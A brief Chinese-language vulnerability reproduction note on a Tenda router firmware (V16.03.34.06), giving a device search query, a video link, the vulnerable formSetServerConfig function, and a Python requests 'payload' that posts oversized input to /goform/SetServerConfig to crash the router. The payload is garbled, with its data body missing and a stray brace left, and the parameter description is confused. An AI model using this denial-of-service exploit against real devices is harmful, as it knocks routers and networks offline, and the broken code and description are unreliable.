body=”tenda” && body=”V16.03.34.06″

漏洞复现视频：

链接：https://pan.baidu.com/s/1aZhcBD_aXEWaTGvPbzeLRA

提取码：cpip

–来自百度网盘超级会员V4的分享

漏洞点发生在formSetServerConfig函数处

程序获取了用户输入的参数”HTTP/1.0 200 OK”，然后将用户的输入传入了websDone函数里，这个函数会处理用户输入的字符，如果输入的值过大处理不过来了

Payload：

import requests

url = “http://192.168.25.135/goform/SetServerConfig”

}

requests.post(url=url,data=data)

# 复现

运行脚本

路由器死机，网站也无法访问